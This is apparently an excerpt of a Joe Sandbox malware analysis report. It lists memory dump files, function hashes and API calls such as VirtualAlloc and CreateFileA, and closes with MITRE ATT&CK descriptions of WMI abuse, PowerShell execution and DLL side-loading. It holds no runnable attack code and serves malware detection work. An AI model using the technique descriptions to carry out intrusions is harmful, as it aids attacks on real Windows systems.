Associated: 00000005.00000002.2522797513.0000000000FD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522837316.0000000000FE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522854591.0000000000FE2000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d30000_HTUSFB9YFV610YTCBWQ47HFA41LN0.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 60a35013971d93bb2d25921017ab0d39a12c0daf9c620f3609fe25b1f8e95f90
Instruction ID: f69dd4dd5105ce2d5c0c3d842dd4b3ea3866f0bff687d6d0cf70a95d9dd93748
Opcode Fuzzy Hash: 60a35013971d93bb2d25921017ab0d39a12c0daf9c620f3609fe25b1f8e95f90
Instruction Fuzzy Hash: 54E08C7110C38AAED721AF24C8807FE3E64AF12300F264498E4812BA83C2B59C48A725

Function 00EBED33 Relevance: 1.5, APIs: 1, Instructions: 12
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00EBED3C

Memory Dump Source

Source File: 00000005.00000002.2522058195.0000000000EB7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000005.00000002.2521849028.0000000000D30000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521867290.0000000000D32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521885401.0000000000D36000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521906704.0000000000D3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521926416.0000000000D46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522019877.0000000000EA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522037667.0000000000EA8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522058195.0000000000EC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522094701.0000000000ECD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522111789.0000000000ECF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522133520.0000000000EDF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522150212.0000000000EE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522171906.0000000000EF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522192645.0000000000F09000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522212335.0000000000F18000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522229781.0000000000F19000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522251834.0000000000F1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522269934.0000000000F1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522290049.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522306929.0000000000F31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522324989.0000000000F32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522348315.0000000000F36000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522366349.0000000000F3D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522385221.0000000000F3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522401121.0000000000F46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522417037.0000000000F48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522434451.0000000000F53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522451546.0000000000F55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522470397.0000000000F56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522486674.0000000000F5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522503062.0000000000F64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522520466.0000000000F67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522536611.0000000000F68000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522551653.0000000000F70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522665817.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522686594.0000000000F82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522705153.0000000000F8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522724951.0000000000F8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522757443.0000000000FC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522776333.0000000000FCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522797513.0000000000FCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522797513.0000000000FD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522837316.0000000000FE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522854591.0000000000FE2000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d30000_HTUSFB9YFV610YTCBWQ47HFA41LN0.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a82dd186bebc1ce9d74c5eb4f80c9d2d509ad498ffefcced2df6e06a8b4e7308
Instruction ID: a4a9f3d5d58b3135c4f2f1c32fc22298dfd9f95109fbcccf0557a4f08fc5dc10
Opcode Fuzzy Hash: a82dd186bebc1ce9d74c5eb4f80c9d2d509ad498ffefcced2df6e06a8b4e7308
Instruction Fuzzy Hash: 72C02B4410917038E02322301C42FEB4C484F51100F0818A4715438783C08A00030186

Function 00D3E8EC Relevance: 1.3, APIs: 1, Instructions: 22
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00D3F302

Memory Dump Source

Source File: 00000005.00000002.2521906704.0000000000D3A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000005.00000002.2521849028.0000000000D30000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521867290.0000000000D32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521885401.0000000000D36000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521926416.0000000000D46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522019877.0000000000EA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522037667.0000000000EA8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522058195.0000000000EB7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522058195.0000000000EC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522094701.0000000000ECD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522111789.0000000000ECF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522133520.0000000000EDF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522150212.0000000000EE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522171906.0000000000EF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522192645.0000000000F09000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522212335.0000000000F18000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522229781.0000000000F19000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522251834.0000000000F1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522269934.0000000000F1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522290049.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522306929.0000000000F31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522324989.0000000000F32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522348315.0000000000F36000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522366349.0000000000F3D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522385221.0000000000F3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522401121.0000000000F46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522417037.0000000000F48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522434451.0000000000F53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522451546.0000000000F55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522470397.0000000000F56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522486674.0000000000F5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522503062.0000000000F64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522520466.0000000000F67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522536611.0000000000F68000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522551653.0000000000F70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522665817.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522686594.0000000000F82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522705153.0000000000F8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522724951.0000000000F8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522757443.0000000000FC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522776333.0000000000FCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522797513.0000000000FCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522797513.0000000000FD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522837316.0000000000FE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522854591.0000000000FE2000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d30000_HTUSFB9YFV610YTCBWQ47HFA41LN0.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 39eac60a50495100d0c8a960c0d4a0dba87695b263ee8c1f97fe11b45526285a
Instruction ID: c4268208be370cf4504c2201db55b62148697660e390908013db25a3c4978070
Opcode Fuzzy Hash: 39eac60a50495100d0c8a960c0d4a0dba87695b263ee8c1f97fe11b45526285a
Instruction Fuzzy Hash: 3AE0393514924CCFCB442F28D40926FBBF4EF81311F210B2AE8E6C2990CB764840DE2A

Function 00D3E5BC Relevance: 1.3, APIs: 1, Instructions: 18
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00D3E5D0

Memory Dump Source

Source File: 00000005.00000002.2521906704.0000000000D3A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000005.00000002.2521849028.0000000000D30000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521867290.0000000000D32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521885401.0000000000D36000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521926416.0000000000D46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522019877.0000000000EA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522037667.0000000000EA8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522058195.0000000000EB7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522058195.0000000000EC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522094701.0000000000ECD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522111789.0000000000ECF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522133520.0000000000EDF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522150212.0000000000EE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522171906.0000000000EF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522192645.0000000000F09000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522212335.0000000000F18000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522229781.0000000000F19000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522251834.0000000000F1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522269934.0000000000F1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522290049.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522306929.0000000000F31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522324989.0000000000F32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522348315.0000000000F36000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522366349.0000000000F3D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522385221.0000000000F3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522401121.0000000000F46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522417037.0000000000F48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522434451.0000000000F53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522451546.0000000000F55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522470397.0000000000F56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522486674.0000000000F5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522503062.0000000000F64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522520466.0000000000F67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522536611.0000000000F68000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522551653.0000000000F70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522665817.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522686594.0000000000F82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522705153.0000000000F8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522724951.0000000000F8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522757443.0000000000FC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522776333.0000000000FCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522797513.0000000000FCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522797513.0000000000FD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522837316.0000000000FE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522854591.0000000000FE2000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d30000_HTUSFB9YFV610YTCBWQ47HFA41LN0.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7b517e5acdcef851432ef858c9c18cbce72013498d794d88565ca13444e63984
Instruction ID: 6e6de32c2eedcc1bc9fba81b56ee25c29df1e54b288752896a1aa174bba35bfb
Opcode Fuzzy Hash: 7b517e5acdcef851432ef858c9c18cbce72013498d794d88565ca13444e63984
Instruction Fuzzy Hash: 29E0B6B050CA088FD344AF19D0452BEFBE5EF84710F26882ED8C98B280D2719890CB67

Non-executed Functions

Function 00D3DBB1 Relevance: 1.6, Strings: 1, Instructions: 348COMMON

Download Yara Rule

Strings

NTDL, xrefs: 00D3DF0A

Memory Dump Source

Source File: 00000005.00000002.2521906704.0000000000D3A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000005.00000002.2521849028.0000000000D30000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521867290.0000000000D32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521885401.0000000000D36000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521926416.0000000000D46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522019877.0000000000EA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522037667.0000000000EA8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522058195.0000000000EB7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522058195.0000000000EC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522094701.0000000000ECD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522111789.0000000000ECF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522133520.0000000000EDF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522150212.0000000000EE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522171906.0000000000EF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522192645.0000000000F09000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522212335.0000000000F18000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522229781.0000000000F19000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522251834.0000000000F1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522269934.0000000000F1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522290049.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522306929.0000000000F31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522324989.0000000000F32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522348315.0000000000F36000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522366349.0000000000F3D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522385221.0000000000F3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522401121.0000000000F46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522417037.0000000000F48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522434451.0000000000F53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522451546.0000000000F55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522470397.0000000000F56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522486674.0000000000F5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522503062.0000000000F64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522520466.0000000000F67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522536611.0000000000F68000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522551653.0000000000F70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522665817.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522686594.0000000000F82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522705153.0000000000F8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522724951.0000000000F8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522757443.0000000000FC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522776333.0000000000FCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522797513.0000000000FCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522797513.0000000000FD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522837316.0000000000FE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522854591.0000000000FE2000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d30000_HTUSFB9YFV610YTCBWQ47HFA41LN0.jbxd

Similarity

API ID:
String ID: NTDL
API String ID: 0-3662016964
Opcode ID: 068dda101575c9af62d04901f9c1e68f267ac64cf78a0895bfe22c1125b29fd3
Instruction ID: c2acaabd45dcd33704b0fdd7f9e2007cce9125fcf51d31e83de7bd3913fc6319
Opcode Fuzzy Hash: 068dda101575c9af62d04901f9c1e68f267ac64cf78a0895bfe22c1125b29fd3
Instruction Fuzzy Hash: 26B143B250821E8FDB11CF25E5411EF7BE2EF96330F24412AE84297A42D2B29D11DF79

Function 00EB7002 Relevance: 1.0, Instructions: 990COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2522058195.0000000000EB7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000005.00000002.2521849028.0000000000D30000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521867290.0000000000D32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521885401.0000000000D36000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521906704.0000000000D3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521926416.0000000000D46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522019877.0000000000EA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522037667.0000000000EA8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522058195.0000000000EC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522094701.0000000000ECD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522111789.0000000000ECF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522133520.0000000000EDF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522150212.0000000000EE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522171906.0000000000EF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522192645.0000000000F09000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522212335.0000000000F18000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522229781.0000000000F19000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522251834.0000000000F1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522269934.0000000000F1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522290049.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522306929.0000000000F31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522324989.0000000000F32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522348315.0000000000F36000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522366349.0000000000F3D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522385221.0000000000F3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522401121.0000000000F46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522417037.0000000000F48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522434451.0000000000F53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522451546.0000000000F55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522470397.0000000000F56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522486674.0000000000F5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522503062.0000000000F64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522520466.0000000000F67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522536611.0000000000F68000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522551653.0000000000F70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522665817.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522686594.0000000000F82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522705153.0000000000F8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522724951.0000000000F8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522757443.0000000000FC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522776333.0000000000FCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522797513.0000000000FCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522797513.0000000000FD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522837316.0000000000FE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522854591.0000000000FE2000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d30000_HTUSFB9YFV610YTCBWQ47HFA41LN0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5ad491e338c1989aea51b1e526d0f79f6e2c6f999ca6ad86c96ab346291051e
Instruction ID: 83b688e70489851f8bc2571a93b014ce19dd5aca71923975926bcf833599b94e
Opcode Fuzzy Hash: a5ad491e338c1989aea51b1e526d0f79f6e2c6f999ca6ad86c96ab346291051e
Instruction Fuzzy Hash: 7662E3F350C2009FE304AE2DEC8576ABBE9EB94720F1A493DEAC4D7744E63598018697

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

